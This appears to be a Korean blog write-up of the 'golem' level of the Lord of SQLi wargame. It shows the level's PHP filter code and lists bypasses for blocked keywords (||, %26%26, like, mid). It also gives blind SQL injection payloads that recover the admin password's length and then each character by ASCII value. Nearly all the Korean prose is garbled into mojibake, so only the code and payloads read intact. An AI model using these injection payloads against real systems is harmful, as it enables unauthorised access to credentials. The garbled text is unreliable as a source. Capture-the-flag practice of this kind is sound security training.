ํฐ์คํ ๋ฆฌ ๋ทฐ
11๋ฒ์งธ ๋ฌธ์ ์ธ " golem " ๋ฌธ์ ๋ฅผ ํ์ธํด๋ณด๋ฉด 2๊ฐ์ง ๊ฒ์ฆ์ ์ฐจ๋ฅผ ๊ฑฐ์น๊ณ ์์ต๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET [pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
๊ฒ์ฆํ๊ณ ์๋ ๋ฌธ๊ตฌ๋ค์ ํ์ธํด๋ณด๋ฉด ์ฃผ๋ก ์ฌ์ฉ๋๋ ์ฐ์ฐ์์ธ " or, and, = " ๊ทธ๋ฆฌ๊ณ ๋ฌธ์์ด์ ์ถ๋ ฅํด์ฃผ๋ ํจ์์ธ " substr " ๊น์ง ๊ฒ์ฆ์ ํ๊ณ ์์ต๋๋ค.
์ ๋จ๊ณ์ ๋ ๋ฒจ์์๋ or์ and ์ฐ์ฐ์ ๋์ฒด ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ง๋ง substr ํจ์๊น์ง ์ฐํํด์ผ ๋๋ ์ข ๋ ๊น๋ค๋ก์์ก๋ค๊ณ ๋ณผ ์ ์์ต๋๋ค.
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
ํ์ฌ admin ๊ณ์ ์ผ๋ก ์ ์ธ์ด ๋์ด ์๋ ์ํ์ด๋ฉฐ " pw " ๋ณ์๋ฅผ ํ์ฉํด์ ์ ๋นํ ์ฟผ๋ฆฌ๋ฌธ์ ์ฝ์ ํ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค.
if(($result ['pw']) && ($result ['pw'] == $_GET ['pw'])) solve("golem");
๋ํ ๋ฌธ์์ด ์ถ์ถ์ ํด์ฃผ๋ substr ํจ์๋ฅผ ๋ณด๋ฉด ์ด๋์ ๋ ์์ธกํ ์๊ฐ ์์ผ๋ฉฐ ์ ๋ ฅ๋ ํจ์ค์๋์ DB ๋ด์ ์๋ ํจ์ค์๋ ๊ฐ์ด ๋์ผํด์ผ ๋๊ธฐ์ BSQLi ๊ธฐ๋ฒ์ ํ์ฉํด์ ์ฐธ, ๊ฑฐ์ง ๊ฐ์ผ๋ก ํจ์ค์๋๋ฅผ ์ ์ถํด์ผ ๋ฉ๋๋ค.
ํํฐ๋ง ์ฐํ
or --> || ํ์ดํ ๊ธฐํธ ์ฌ์ฉ
and --> && --> %26%26
= --> like ๋๋ between ์ ์ฌ์ฉ
substr --> right, left, mid ๋ฑ ์ ์ฌ์ฉ
left: ๋ฌธ์์ ์ผ์ชฝ์ ๊ธฐ์ค์ผ๋ก ์ผ์ ๊ฐฏ์๋ฅผ ๊ฐ์ ธ์ค๋ ํจ์
mid: ๋ฌธ์์ ์ง์ ํ ์์ ์์น๋ฅผ ๊ธฐ์ค์ผ๋ก ์ผ์ ๊ฐฏ์๋ฅผ ๊ฐ์ ธ์ค๋ ํจ์
right : ๋ฌธ์์ ์ค๋ฅธ์ชฝ์ ๊ธฐ์ค์ผ๋ก ์ผ์ ๊ฐฏ์๋ฅผ ๊ฐ์ ธ์ค๋ ํจ์.
ord : ์์คํค ์ฝ๋ ๊ฐ์ ๋ฐํํ๋ ํจ์
๊ฒ์ฆํ๊ณ ์๋ ์ฐ์ฐ์๋ค์ ๋ค๋ฅธ ๊ธฐํธ๋ก ๋์ฒดํ์ฌ ์ฟผ๋ฆฌ๋ฌธ์ ์์ฑํด์ฃผ๋ฉด ๋ฉ๋๋ค.
์์ ๊ฒฐ๊ณผ ์ฌ์ง์ admin ๊ณ์ ์ ํจ์ค์๋ ๊ธธ์ด๋ฅผ ์ ์ถํ๊ธฐ ์ํ ๊ฒ์ด๋ฉฐ ์์ ๊ฒฝ์ฐ ํจ์ค์๋๊ฐ 5์๋ฆฌ๊ฐ ์๋๊ธฐ ๋๋ฌธ์ ๊ฑฐ์ง, ์ฆ ์๋ฌด ๋ฐ์์ด ์์ง๋ง ํจ์ค์๋ ๊ธธ์ด๊ฐ 8์๋ฆฌ์ธ์ง ํ์ธํด๋ณด์ " Hello admin " ์ด๋ผ๋ ๋ฌธ๊ตฌ๊ฐ ์ฑ๊ณต์ ์ผ๋ก ๋์ถ๋์์ต๋๋ค.
ํจ์ค์๋ ๊ธธ์ด๋ฅผ ์์๋์ผ๋ ์ด์ " burp suite " ์ " cluster bomb " ๊ธฐ๋ฅ์ ์ฌ์ฉํด์ ์ง์ ์ํจ ๊ฐ์ ํ๋์ฉ ์ฆ๊ฐ์์ผ ์ฌ์ฉํ๊ณ ์๋ ํจ์ค์๋๋ฅผ ์ ์ถํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
Input Code
' || id like 'admin' %26%26 length(pw) like '5'%23 --> TRUE
' || id like 'admin' %26%26 length(pw) like '8'%23 --> FALSE
๋์ถ์ํจ ํจ์ค์๋๋ฅผ ascii ์ฝ๋๋ก ๋ณํํ์ฌ ๋น๊ตํ๋ ๋ฐฉ์์ ์ฌ์ฉํ์ง๋ง ์ด๋ฒ์๋ " substr " ํจ์๊ฐ ์๋ mid ๋ left, right ๋ฅผ ์ฌ์ฉํด์ผ ๋ฉ๋๋ค.
Exploit Code
' || id like 'admin' %26%26 ascii(mid(pw,1,1)) like 47%23
32 ~ 47 : ํน์๋ฌธ์ (space,!, ", #, $, %, & ๋ฑ)
58 ~ 64 : ํน์๋ฌธ์ (:, ;, <, =, >, ?, @)
123 ~ 126 : ํน์๋ฌธ์ ({, |, }, ~)
48 ~ 57 : ์ซ์ (0 ~ 9)
65 ~ 90 : ์์ด(๋๋ฌธ์) (A ~ Z)
97 ~ 122 : ์์ด(์๋ฌธ์) (a ~ z)
๋์ถ๋ ASCII ๊ฐ์ ๋ํด ์๋ณตํ ํจ์ค์๋์ ์ ๋ ฅํ๋ฉด ์ฑ๊ณต์ ์ผ๋ก Clearํ ์ ์๊ฒ ๋ฉ๋๋ค.
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 5-1 (0) | 2020.12.07 |
---|---|
XSS Challenges 4 (0) | 2020.12.06 |
[LOS] Skeleton ํ์ด(10) (0) | 2020.12.06 |
[LOS] Vampire ํ์ด(9) (0) | 2020.12.06 |
[LOS] Troll ํ์ด(8) (0) | 2020.12.06 |